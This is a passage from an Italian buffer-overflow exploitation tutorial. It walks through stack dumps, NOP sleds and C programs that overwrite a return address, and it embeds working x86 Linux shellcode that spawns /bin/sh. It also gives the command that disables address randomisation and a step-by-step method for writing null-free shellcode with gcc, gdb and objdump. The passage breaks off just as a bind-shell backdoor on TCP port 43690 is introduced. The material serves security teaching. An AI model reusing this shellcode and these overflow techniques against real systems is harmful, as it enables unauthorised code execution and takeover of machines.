0022FEC4 90909090 << di NOP che abbiamo inserito in testa.

0022FEC8 90909090

0022FECC 90909090

0022FED0 90909090

0022FED4 90909090

0022FED8 90909090

0022FEDC 90909090

0022FEE0 90909090

0022FEE4 90909090

0022FEE8 00229090 << Qui la nostra sequenza termina e la copia continua con l'indirizzo di buffer.

0022FEEC 0022FEC0

0022FEF0 0022FEC0

0022FEF4 0022FEC0

0022FEF8 0022FEC0

0022FEFC 0022FEC0

0022FF00 0022FEC0

0022FF04 0022FEC0

0022FF08 0022FEC0

0022FF0C 0022FEC0

0022FF10 0022FEC0

0022FF14 0022FEC0

0022FF18 0022FEC0

0022FF1C 0022FEC0

0022FF20 0022FEC0

0022FF24 0022FEC0

0022FF28 0022FEC0

0022FF2C 0022FEC0

0022FF30 0022FEC0

0022FF34 0022FEC0

0022FF38 0022FEC0

0022FF3C 0022FEC0

0022FF40 /0022FF48

0022FF44 |757D9E34

0022FF48 ]0022FF78

0022FF4C |004011E7 < RETURN to mem_corr.004011E7 from mem_corr.00401290

|

Facciamo terminare il ciclo di copia e otteniamo lo stack sovrascritto, infine main termina e

all'struzione RET ecco lo stack: |

0022FF4C 0022FEC0 < Qui prima c'era - - - / (RETURN to mem_corr.004011E7 from mem_corr.00401290)

Page 17: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 17 di 193

0022FF50 0022FEC0 Il resto non ci interessa.

0022FF54 0022FEC0

0022FF58 0022FEC0

0022FF5C 0022FEC0

0022FF60 0022FEC0

0022FF64 0022FEC0

0022FF68 0022FEC0

0022FF6C 0022FEC0

0022FF70 0022FEC0

0022FF74 0022FEC0

0022FF78 0022FEC0

0022FF7C 0022FEC0

0022FF80 0022FEC0

0022FF84 0022FEC0

0022FF88 0022FEC0

0022FF8C 0022FEC0

0022FF90 0022FEC0

0022FF94 0022FEC0 < La sovrascrittura è arrivata fino qui, non possiamo continuare all'infinito,

0022FF98 00000000 uscendo dalla zona di memoria riservata a noi, avremmo un "memory violation".

0022FF9C 00000000

0022FFA0 007910A8

0022FFA4 00000000

0022FFA8 00000000

0022FFAC 00000000

0022FFB0 00000000

0022FFB4 00000000

0022FFB8 00000000

0022FFBC 00000000

0022FFC0 00000000

L'istruzione successiva salta a 0022FEC0, ricordate? A &buffer, eseguendo i NOP che non fanno

nulla. Dobbiamo invece considerare la possibilità di inserirvi opcode interpretabili dal

processore, che faranno le operazioni che desideriamo.

0x05] (Arch: LINUX) - Esecuzione di shellcode

Up

--------- test05.c ------------------------

#include <stdio.h>

// For Debian 5 only

#define SIZE 128

#define TOO_LARGE 133

#define TOOLARGE_ELEM (TOO_LARGE / 4)

int i;

char large_string[TOO_LARGE];

char shellcode[] = "\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e"

"\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b"

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80";

int main()

{

char buffer[SIZE];

long *long_ptr = (long*)large_string;

for(i=0; i<TOOLARGE_ELEM;i++)

*(long_ptr+i) = (int)buffer;

Page 18: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 18 di 193

for(i=0;i<strlen(shellcode);i++)

large_string[i] = shellcode[i];

for(i=0;i<TOO_LARGE;i++)

buffer[i] = large_string[i];

}

--------- test05.c END ---------------------

Ci troviamo su una piattaforma linux Debian.

Quello che proviamo a fare ora è calcolare con accuratezza per mezzo di un disassemblatore la

posizione dell'indirizzo di buffer all'interno dello stack. Nell'ultimo esempio avevamo inserito

nell'array una sequenza di NOP, quindi di fatto non facevamo nulla di speciale se non provocare

una memory exception una volta che la CPU supera la sequenza di NOP, trovandosi ad eseguire una

serie di istruzioni senza senso per il contesto in cui si trova.

In questo esempio, ho sostituito la sequenza di NOP con codici esadecimali in grado, se

eseguiti, di avviare una shell.

Ho deciso alla fine di rimandare la spiegazione di come ottenere gli opcode per la shell

successivamente. Quindi utilizzo una cosa che ancora non ho spiegato, ma in questo modo

concludiamo un primo discorso sullo stack.

Devo fare alcune premesse prima di continuare. Prima di eseguire questo test occorre

disabilitare l’eventuale randomizzazione dello stack, attiva su alcune distribuzioni linux,

sopratutto le piu' recenti. (kernel > 2.4)

Si tratta di modificare il parametro del kernel che governa questo sistema di protezione. Il

comando per farlo è il seguente:

"echo 0 > /proc/sys/kernel/randomize_va_space".

Se non lo si fa il test non funzionerà, dato che il meccanismo "pseudo-casuale" generà il layout

di indirizzi virtuali in modo random.

Detto questo procediamo con la compilazione abilitando anche le info di debug:

gcc -ggdb test05.c -o test

Il risultato è il seguente:

matteo@HackLab:~/HackerLab/ShellCode$ ./test

sh-3.2$ exit

exit

matteo@HackLab:~/HackerLab/ShellCode$

Non ripeto tutta la spiegazione di quello che accade in memoria perchè è assolutamente identico

a ciò che è successo nell'esempio precedente, solo che ora i codici che abbiamo inserito non

erano NOP ma hanno aperto una shell locale.

La shell generata ha gli stessi permessi che ha il nostro programma di test.

Con gdb possiamo dare un occhio allo stato dello stack appena prima del ritorno da main:

(gdb) x/100 $esp

0xbffff570: 0x08049680 0x00000000 0x00000000 0x00000000

0xbffff580: /---0x00000000------0x00000000------0xbffff620---->>0x2f68c031 << --- La shell code

0xbffff590: | 0x682f6873 0x6e69622f 0x4388e389 0x89535007 |

0xbffff5a0: | 0x0bb099e1 0xdb3180cd 0xcd40d889 0xbffff580 |

0xbffff5b0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |

0xbffff5c0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |

0xbffff5d0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |

0xbffff5e0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |

0xbffff5f0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |

0xbffff600: \---0xbffff58c<-\ 0xbffff58c 0xbffff58c 0xbffff58c |

Page 19: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 19 di 193

0xbffff610: 0xbffff600 | 0xb7fd0ff4 0xbffff688 0xb7e90455 |

0xbffff620: 0x080484a0 | 0x080482f0 0xbffff688 0xb7e90455 |

0xbffff630: 0x00000001 | 0xbffff6b4 0xbffff6bc 0xb7fe2b38 |

... | |

| |

L'istruzione successiva non la possiamo vedere con gdb, perchè la cpu salta nel nostro array di

OPCODE. Precisamente a 0xbffff58c l'indirizzo con il quale abbiamo riempito il buffer più largo. | |

| |

Diamo un occhio a dove si trova ESP dopo aver detto a gdb di proseguire con lo step successivo,

con: (gdb) n | |

| |

(gdb) print $esp | |

$1 = (void *) 0xbffff600 |

|

Punta a dove si dovrebbe trovare l'indirizzo di ritorno di main() ma lì, se guardiamo nello

stack, c'è l’indirizzo di buffer.----------------------------------/

A questo punto la CPU, credendo di ritornare da main(), esegue invece la nostra shell.

Nella realtà le cose sono più complesse di così perchè non abbiamo sempre la possibilità di

determinare con esattezza dove il nostro indirizzo di ritorno verrà collocato nello stack.

Pertanto l'esempio ed il test non è portabile su un'altra piattaforma dato che cambierebbero le

distanze degli indirizzi, ed andrebbero ricalcolat per ritornare ad avere il test funzionante.

Nell'esempio successivo vedremo come ovviare a questo problema.

0x06] (Arch: LINUX) - Byte NOP

Up

--------- test06.c ------------------------

#include <stdio.h>

#include <stdlib.h>

#define SIZE 128

#define LARGE_SIZE 228

// Linux shellcode con tecnica dei NOP

int i;

char large_string[LARGE_SIZE];

char shellcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e"

"\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b"

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80";

// Ritorna la cima dello stack al momento della sua chiamata

long get_sp() { asm("mov %esp, %eax"); }

int main(int argc, char *argv[])

Page 20: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 20 di 193

{

// Come solito allochiamo il nostro buffer

char buffer[SIZE];

// Check argomento

if(argc < 1) {fprintf(stderr,"Arguments required!\n"); exit(-1); }

// Riempio large_string con l'indirizzo presunto a cui si trova buffer

long *long_ptr = (long*)large_string;

for(i=0; i<(LARGE_SIZE/4);i++) *(long_ptr+i) = get_sp() + atoi(argv[1]);

// Sistemo la mia shellcode in large_string

for(i=0;i<strlen(shellcode);i++) large_string[i] = shellcode[i];

// Eseguo la copia non controllata (in alternativa possiamo usare memcpy() che non è

// sensibile ai byte nulli )

for(i=0;i<LARGE_SIZE;i++) buffer[i] = large_string[i];

}

--------- test06.c END ---------------------

In questo ulteriore esempio ho introdotto uno dei metodi per aumentare notevolmente le

possibilità di successo durante un attacco basato su buffer overflow.

Vediamo di parlare delle differenze con il programma precedente;

a differenza di questo, nel precedente capitolo ho ricorso a parecchia pazienza più

disassemblatore per individuare l'indirizzo esatto di buffer in memoria. Ho quindi calcolato

l'offset necessario a fare in modo che tale indirizzo, memorizzato in large_string, andasse a

sovrascrivere l'indirizzo di ritorno di main() al momento della copia incontrollata di

large_string in buffer. Vediamo se riesco a rendermi più chiaro con uno schema:

Dopo l'ultima istruzione prima di ret to main() la situazione nello stack è ipoteticamente la

seguente: (chiamiamolo Tr)

0x?Stack 0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90 [------------ Shellcode ----------] Ret|Ret|Ret|Ret|Ret|Ret|Ret|Ret|Ret|Ret 0x?

Indirizzo di buffer

Indirizzi

Ret Fine di buffer Indirizzo di ritorno

Function () {…}

ENDin EIPEsecuzione à

Il codice esadecimale 0x90 corrisponde all'istruzione assembly NOP, ovvero non fare nulla. La

CPU prosegue fino alla shellcode eseguendola.

Abbiamo così ottenuto un sistema che ci evita il dover sapere per forza l'indirizzo esatto del

buffer.

Indaghiamo nello stack all'istante Tr:

0022FE9C 00000010

0022FEA0 77C82D68 ntdll.77C82D68

0022FEA4 00381080

Page 21: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 21 di 193

0022FEA8 00381088

0022FEAC 00404070 SimpleTe.00404070

0022FEB0 90909090 << ---- L'indirizzo di buffer

0022FEB4 90909090

0022FEB8 90909090

0022FEBC 90909090

0022FEC0 90909090

0022FEC4 90909090

0022FEC8 90909090

0022FECC 90909090 << -----\ Qui punterà EIP all'istante Tr + 1

0022FED0 90909090 |

0022FED4 90909090 |

0022FED8 90909090 |

0022FEDC 90909090 |

0022FEE0 90909090 |

0022FEE4 90909090 |

0022FEE8 90909090 |

0022FEEC 90909090 |

0022FEF0 90909090 |

0022FEF4 90909090 |

0022FEF8 90909090 |

0022FEFC 90909090 |

0022FF00 90909090 |

0022FF04 2F68C031 |

0022FF08 682F6873 |

0022FF0C 6E69622F |

0022FF10 4388E389 |

0022FF14 89535007 |

0022FF18 0BB099E1 |

0022FF1C DB3180CD |

0022FF20 CD40D889 |

0022FF24 0022FE80 |

0022FF28 0022FECC |

0022FF2C 0022FECC |

0022FF30 0022FECC |

0022FF34 0022FECC |

0022FF38 0022FECC |

0022FF3C 0022FECC |

0022FF40 0022FECC |

0022FF44 0022FECC |

0022FF48 0022FECC |

0022FF4C 0022FECC << - Qui c'era l'indirizzo di ritorno di main ma abbiamo sovrascritto con

0022FF50 0022FECC il nostro presunto indirizzo di buffer.

0022FF54 0022FECC Dovrebbe essere chiaro a che cosa servono i NOP inseriti prima della

0022FF58 0022FECC shellcode. Ci servono a fare in modo che il nostro indirizzo

0022FF5C 0022FECC possa essere non preciso.

0022FF60 0022FECC Questo aumenta notevolmente il numero delle possibilità di successo.

0022FF64 0022FECC

0022FF68 0022FECC

0022FF6C 0022FECC

0022FF70 0022FECC

0022FF74 0022FECC

0022FF78 0022FECC

0022FF7C 0022FECC

0022FF80 0022FECC

0022FF84 0022FECC

0022FF88 0022FECC

Page 22: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 22 di 193

0022FF8C 0022FECC

0022FF90 0022FECC

0022FF94 /0022FFD4

0022FF98 |77C8B3F5 RETURN to ntdll.77C8B3F5

0022FF9C |7FFD7000

0022FFA0 |771D9D52

Steppando in avanti possiamo vedere come la CPU cavalca nel flusso di istruzioni tra i NOP e

arriva alla shellcode, il seguente è un frammento del flusso di istruzioni della CPU:

0022FEF4 90 NOP

0022FEF5 90 NOP

0022FEF6 90 NOP

0022FEF7 90 NOP

0022FEF8 90 NOP

0022FEF9 90 NOP

0022FEFA 90 NOP

0022FEFB 90 NOP

0022FEFC 90 NOP

0022FEFD 90 NOP

0022FEFE 90 NOP

0022FEFF 90 NOP

0022FF00 90 NOP

0022FF01 90 NOP

0022FF02 90 NOP

0022FF03 90 NOP

0022FF04 31C0 XOR EAX,EAX << Eccoci qui! Il nostro codice eseguirà una shell.

0022FF06 68 2F73682F PUSH 2F68732F

0022FF0B 68 2F62696E PUSH 6E69622F

0022FF10 89E3 MOV EBX,ESP

0022FF12 8843 07 MOV BYTE PTR DS:[EBX+7],AL

0022FF15 50 PUSH EAX

0022FF16 53 PUSH EBX

0022FF17 89E1 MOV ECX,ESP

0022FF19 99 CDQ

0022FF1A B0 0B MOV AL,0B

0022FF1C CD 80 INT 80

0022FF1E 31DB XOR EBX,EBX

0022FF20 89D8 MOV EAX,EBX

0022FF22 40 INC EAX

0022FF23 CD 80 INT 80

0x07] (Arch: LINUX) - Realizzare una shellcode

Up

Prima di fornire un esempio completo di exploit e prima di parlare di altro mi sento in dovere

di mostrare un tutorial di come realizzare una stringa di caratteri esadecimali adatta ai casi

che abbiamo visto fino ad ora.

Come primo esempio, vediamo di ottenere una shellcode. Proprio quella utilizzata negli ultimi

due esempi precedenti.

# Passo 1

Prima di tutto occorre pensare esattamente alla funzione che vogliamo eseguire. Il modo migliore

di procedere è quindi quello di scriverci prima il programma in linguaggio C.

Un programma atto ad aprire una shell è il seguente:

Page 23: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 23 di 193

--------- shell.c ------------------------

void main()

{

char* name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0],name,NULL);

}

--------- shell.c END --------------------

Il programma utilizza la funzione execve() per eseguire sh. La shell linux appunto. Gli

argomenti sono la stringa che riporta tutta la path del programma, l'indirizzo di questa e il

parametro NULL. Vi riporto la definizione della sintassi completa:

int execve(

const char *filename,

char *const argv [],

char *const envp[]

);

“execve() executes the program pointed to by filename. filename must be either a binary

executable, or a script starting with a line of the form "#! interpreter [arg]".

In the latter case, the interpreter must be a valid pathname for an executable which is not

itself a script, which will be invoked as interpreter [arg] filename.

argv is an array of argument strings passed to the new program. envp is an array of strings,

conventionally of the form key=value, which are passed as environment to the new program. Both,

argv and envp must be terminated by a null pointer. The argument vector and environment can be

accessed by the called program's main function, when it is defined as int main(int argc, char

*argv[], char *envp[]).

execve() does not return on success, and the text, data, bss, and stack of the calling process

are overwritten by that of the program loaded.

The program invoked inherits the calling process's PID, and any open file descriptors that are

not set to close on exec. Signals pending on the calling process are cleared.

Any signals set to be caught by the calling process are reset to their default behaviour. The

SIGCHLD signal (when set to SIG_IGN) may or may not be reset to SIG_DFL.”

Una volta scritto il programma compiliamolo,

$ gcc -static -ggdb shell.c -o shellcode

Una volta fatto dobbiamo capire come il compilatore traduce il programma in codice macchina. Le

opzioni che ho usato durante la compilazione sono molto importanti.

"-static" permette di compilare in modo statico il programma. Come sapete significa che le

funzioni esterne ( come execve() ) saranno importate della libreria di sistema e aggiunte al

nostro programma. Non saranno chiamate quando necessario. Questo a lato pratico viene fatto per

aumentarne la velocità di caricamento e per evitare problemi di dipendenza. Nel nostro caso

utilizziamo questa modalità solo per poter poi vedere il codice di execve(). Difatti, essendo la

funzione ora inglobata nel nostro file, con gdb potremo disassemblarla.

"-ggdb" specifica di inserire nel file prodotto le info di debug.

# Passo 2

Procediamo quindi con gdb e disassembliamo:

$ gdb shellcode

Page 24: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 24 di 193

GNU gdb (GDB) 7.0-ubuntu

Copyright (C) 2009 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying"

and "show warranty" for details.

This GDB was configured as "i486-linux-gnu".

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>...

Reading symbols from /media/MATTEO/Hack_environment/shellcode...done.

(gdb) disass main

Dump of assembler code for function main:

0x08048250 <main+0>: push %ebp

0x08048251 <main+1>: mov %esp,%ebp

0x08048253 <main+3>: and $0xfffffff0,%esp

0x08048256 <main+6>: sub $0x20,%esp

0x08048259 <main+9>: movl $0x80a6f08,0x18(%esp)

0x08048261 <main+17>: movl $0x0,0x1c(%esp)

0x08048269 <main+25>: mov 0x18(%esp),%eax

0x0804826d <main+29>: movl $0x0,0x8(%esp)

0x08048275 <main+37>: lea 0x18(%esp),%edx

0x08048279 <main+41>: mov %edx,0x4(%esp)

0x0804827d <main+45>: mov %eax,(%esp)

0x08048280 <main+48>: call 0x804f560 <execve>

0x08048285 <main+53>: leave

0x08048286 <main+54>: ret

End of assembler dump.

(gdb) disass execve

Dump of assembler code for function execve:

0x0804f560 <execve+0>: push %ebp

0x0804f561 <execve+1>: mov %esp,%ebp

0x0804f563 <execve+3>: mov 0x10(%ebp),%edx

0x0804f566 <execve+6>: push %ebx

0x0804f567 <execve+7>: mov 0xc(%ebp),%ecx

0x0804f56a <execve+10>: mov 0x8(%ebp),%ebx

0x0804f56d <execve+13>: mov $0xb,%eax

0x0804f572 <execve+18>: int $0x80

0x0804f574 <execve+20>: cmp $0xfffff000,%eax

0x0804f579 <execve+25>: ja 0x804f57e <execve+30>

0x0804f57b <execve+27>: pop %ebx

0x0804f57c <execve+28>: pop %ebp

0x0804f57d <execve+29>: ret

0x0804f57e <execve+30>: mov $0xffffffe8,%edx

0x0804f584 <execve+36>: neg %eax

0x0804f586 <execve+38>: mov %gs:0x0,%ecx

0x0804f58d <execve+45>: mov %eax,(%ecx,%edx,1)

0x0804f590 <execve+48>: or $0xffffffff,%eax

0x0804f593 <execve+51>: jmp 0x804f57b <execve+27>

End of assembler dump.

(gdb)

Questo metodo ci permettte di capire cosa dobbiamo fare poi.

- Questo è il "PROLOGO", serve per allocare lo spazio necessario alle variabili locali:

0x08048250 <main+0>: push %ebp

0x08048251 <main+1>: mov %esp,%ebp

Page 25: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 25 di 193

0x08048253 <main+3>: and $0xfffffff0,%esp

0x08048256 <main+6>: sub $0x20,%esp

- La seguente copia la stringa nel puntatore:

0x08048259 <main+9>: movl $0x80a6f08,0x18(%esp) <-- "ovvero: name[0] = "/bin/sh";"

- Viene copiato il valore NULL nella posizione dell'array successiva:

0x08048261 <main+17>: movl $0x0,0x1c(%esp) <-- ovvero: "name[1] = NULL;"

- Iniziamo a inserire nello stack in ordine inverso gli argomenti per execve():

0x08048269 <main+25>: mov 0x18(%esp),%eax <-- viene letta dal registro l'indirizzo della

stringa name[0]

0x0804826d <main+29>: movl $0x0,0x8(%esp) <-- il valore NULL viene inserito nello stack

0x08048275 <main+37>: lea 0x18(%esp),%edx <-- la stringa name[0] (non name) viene messa in edx

0x08048279 <main+41>: mov %edx,0x4(%esp) <-- la stringa name viene inserita nello stack

0x0804827d <main+45>: mov %eax,(%esp) <-- la stringa name[0] (/bin/sh) viene inserita nello

stack

0x08048280 <main+48>: call 0x804f560 <execve> <-- viene chiamata execve()

- Per quanto riguarda la funzione execve(), possiamo vedere anche il suo codice dato

che abbiamo linkato tutto in modo statico.

C'è ovviamente anche qui il prologo:

0x0804f560 <execve+0>: push %ebp

0x0804f561 <execve+1>: mov %esp,%ebp

0x0804f563 <execve+3>: mov 0x10(%ebp),%edx <-- questo dovrebbe riguardare già la preparazione

di execve(), ovvero sposta in edx il null pointer.

0x0804f566 <execve+6>: push %ebx

- Viene preparata la syscall execve():

0x0804f567 <execve+7>: mov 0xc(%ebp),%ecx <-- viene messo in ecx l'indirizzo di name

0x0804f56a <execve+10>: mov 0x8(%ebp),%ebx <-- viene messo in ebx "/bin/sh/"

0x0804f56d <execve+13>: mov $0xb,%eax <-- viene copiato il valore 11 in eax (execve() è

l'undicesima syscall, vedi unistd.h)

0x0804f572 <execve+18>: int $0x80 <-- syscall 11

# Passo 3

Ora che abbiamo le idee molto più chiare riguardo quello che dobbiamo fare occorre scriverci il

programma direttamente in assembly.

Questo deve essere fatto per vari motivi. Negli esempi che ho portato riguardo la sovrascrittura

dello stack ho potuto decidere io la dimensione dei buffer creandomi una situazione "ideale".

Nella realtà questo non è possibile ottenerlo. Dovremo quindi assicurarci di realizzare una

shellcode più piccola possibile per lasciare largo spazio ai NOP, che, come abbiamo detto,

aumentano le nostre probabilità di successo.

Inoltre vedremo che la stringa non dovrà per nessun motivo contenere dei byte nulli. Perchè

questo? Questo è fondamentale e da tenere bene in mente quando si realizzano shellcode, difatti

le funzioni strcpy(), gets(), getws() ed altre (di fatto proprio quelle che non controllano la

congruenza della dimensione dei buffer in memoria) considerano il carattere '\0' come indicatore

della fine della stringa.

Se la shellcode che inviamo contiene byte nulli, la copia si fermerebbe non appena incontra uno

di questo byte posto a zero. Invalidando il nostro programma.

Riepilogando; le operazioni da fare sono queste:

- Avere una stringa terminata con NULL "/bin/sh/" da qualche parte in memoria

- Avere l'indirizzo della stringa "/bin/sh" da qualche parte in memoria seguito da un long word

con null

- Copiare 0xb in EAX

Page 26: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 26 di 193

- Copiare l'indirizzo della stringa "/bin/sh" nel registro EBX

- Copiare l'indirizzo della stringa "/bin/sh" in ECX

- Copiare l'indirizzo della long word con NULL in EDX

- Eseguire l'istruzione int $0x80

- Copiare 0x1 in EAX

- Copiare 0x0 in EBX

- Eseguire l'istruzione int $0x80

Ora, ci sono vari modi per eseguire queste operazioni scrivendo in assembly, non tutte

funzioneranno sempre su tutti gli assemblatori e distribuzioni, io vi riporto quella che ho

utilizzato nel mio caso. (generalmente questa dovrebbe funzionare dappertutto)

Il file prodotto avrà estensione ".S":

--------- shell.S ------------------------

.text

.globl main

// Chiamata a execve(name[0],name,NULL)

main:

xor %eax, %eax //Azzero eax

push $0x2f68732f //Inserisco la codifica di "/sh/" nello stack

push $0x6e69622f //Inserisco la codifica di "/bin" nello stack

mov %esp, %ebx //Prelevo dallo stack l'indirizzo della stringa "/bin/sh/"

mov %al, 0x7(%ebx) //Inserisco il byte terminatore di stringa alla fine

//ottenendo così la stringa C regolare: "/bin/sh0"

push %eax //Inserisco eax nello stack

push %ebx //Inserisco ebx nello stack la stringa

mov %esp, %ecx //Prelevo dallo stack e posiziono in ecx la stringa

cltd //converte una Dword in una Qword, lasciata in EDX:EAX,

//cioè %eax -> %edx:%eax (grazie ad Ing. Giorgio Ober

//per le delucidazioni riguardo l'istruzione )

mov $0xb, %al //Muovo il valore 11 dec. in eax (sys_call execve() )

int $0x80 //Interrupt execve()

// Codice relativo alla exit(0)

xorl %ebx, %ebx //Azzero eax

mov %ebx, %eax //Copio 0 in ebx

inc %eax //Incremento eax

int $0x80 //interrupt exit()

--------- shell.S END ---------------------

Da notare come vado ad inserire la stringa "/bin/sh" direttamente in esadecimale. E poi vado a

sistemare il byte 0, per non avere il byte nullo alla fine.

Una soluzione "standard" potrebbe essere:

jmp 0x26 2 bytes

popl %esi 1 byte

movl %esi, 0x8(%esi) 3 bytes

movb $0x0, 0x7(%esi) 4 bytes

movl $0x0, 0xc(%esi) 7 bytes

movl $0xb, %eax 5 bytes

movl %esi, %ebx 2 bytes

leal 0x8(%esi), %ecx 3 bytes

Page 27: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 27 di 193

leal 0xc(%esi), %edx 3 bytes

int $0x80 2 bytes

movl $0x1, %eax 5 bytes

movl $0x0, %ebx 5 bytes

int $0x80 2 bytes

call -0x2b 5 bytes

.string \"/bin/sh\" 8 bytes

Dove vengono utilizzati dei salti relativi. La call dovrebbe anche salvare nello stack

l'indirizzo della stringa "/bin/sh" che poi viene recuperato.

A differenza del mio questo non è ancora ottimizzato e le istruzioni contengono vari byte nulli.

Ecco come evitarli,

Istruzione da cambiare: Sostituire con:

movb $0x0, 0x7(%esi) xorl %eax,%eax

movl $0x0, 0xc(%esi) movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

-------------------------------------------------------------

movl $0xb, %eax movb $0xb, %al

-------------------------------------------------------------

movl $0x1, %eax xorl %ebx,%ebx

movl $0x0,%ebx movl %ebx,%eax

inc %eax

Tutte le istruzioni di destra non contengono byte nulli.

Detto questo torniamo al mio codice e passiamo al passo successivo. ( magari diamo anche una

collaudata all'assemby ;) )

# Passo 4

Una volta compilato l'assembly indicandogli di non creare l'eseguibile con:

gcc -s -c shell.S

ricaviamo con objdump i codici esadecimali:

$ objdump -d shell.o

shell.o: file format elf32-i386

Disassembly of section .text:

00000000 <main>:

0: 31 c0 xor %eax,%eax

2: 68 2f 73 68 2f push $0x2f68732f

7: 68 2f 62 69 6e push $0x6e69622f

c: 89 e3 mov %esp,%ebx

e: 88 43 07 mov %al,0x7(%ebx)

11: 50 push %eax

12: 53 push %ebx

13: 89 e1 mov %esp,%ecx

15: 99 cltd

16: b0 0b mov $0xb,%al

18: cd 80 int $0x80

1a: 31 db xor %ebx,%ebx

1c: 89 d8 mov %ebx,%eax

Page 28: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 28 di 193

1e: 40 inc %eax

1f: cd 80 int $0x80

Come potete vedere il mio codice è esente da byte nulli prestandosi per i nostri test.

31 c0 68 2f 73 68 2f 68 2f 62 69 6e 89 e3 88 43 07 50 53 89 e1 99 b0 0b cd 80 31 db 89 d8 40 cd

80

Questi codici andranno inseriti nel nostro array.

Per testarli si possono utilizzare puntatori a funzione usandoli in modo particolare.

Il mio test:

--------- test07.c ------------------------

#include <stdio.h>

#include <string.h>

// Dichiarazione dell'array di opcode:

char array[] =

/* - - - >> Assembly original code: << - - - Matteo Tosato

.text

.globl main

main:

xor %eax, %eax

push $0x2f68732f

push $0x6e69622f

mov %esp, %ebx

mov %al, 0x7(%ebx)

push %eax

push %ebx

mov %esp, %ecx

cltd

mov $0xb, %al

int $0x80

xorl %ebx, %ebx

mov %ebx, %eax

inc %eax

int $0x80

*/

"\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e"

"\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b"

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80";

// un test:

int main(void)

{

printf("\nShellcode n°1 by Tosato Matteo,\n"

"\nEnvironment:\n"

"\tDebian 5 - Kernel 2.6.26-2-686.\n"

"Tools used:\n"

"\tgcc version 4.3.2 (Debian 4.3.2-1.1),\n"

"\tGNU gdb 6.8-debian\n"

"\tNASM version 2.03.01 compiled on Jun 18 2008\n"

"\tGNU objdump (GNU Binutils for Debian) 2.18.0.20080103\n"

Page 29: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 29 di 193

"\nwritten on 24-01-2010, 23:10\n\n"

"Shellcode:\n\t");

printf("31h,c0h,68h,2fh,73h,68h,2fh,68h,2fh,62h,69h,6eh\n\t"

"89h,e3h,88h,43h,07h,50h,53h,89h,e1h,99h,b0h,0bh\n\t"

"cdh,80h,31h,dbh,89h,d8h,40h,cdh,80h");

printf("\n\nSize: %d bytes\n\n",strlen(array));

printf("Execute:\n\n");

(*(void(*)()) array)();

}

--------- test07.c END ---------------------

0x08] (Arch: LINUX) - Shellcode avanzate

Up

Ora che sappiamo che cosa comporta scrivere una shellcode, siamo in grado di fare qualcosa di

più complesso. Nel campo dei buffer overflow il massimo che possiamo sperare di ottenere è

quello di avere il controllo completo della macchina attaccata, quindi la possibilità di aprire

una shell.

Ora riporterò una shellcode che ho realizzato recentemente, se viene trovato il modo di far

eseguire questo codice, questo installa una backdoor nel computer vittima.

Procedendo come solito per gradi, vi mostrerò la procedura con la quale arrivare ad ottenere i

codici operativi.

Steps:

1 socket()

2 bind()

3 listen()

4 accept()

5 dup2()

6 execve()

Questo programma mette in ascolto un socket TCP sulla porta 43690, utilizzando un semplice

client che si connette al socket verrà restituita una shell.

Non viene previsto nessun controllo sugli errori e il programma è ridotto ai minimi termini per

ottenere codice di dimensione e complessità più piccolo possibile. Ci faciliterà la comprensione

del disassemblato.

--------- test08.c ------------------------

#include <unistd.h>

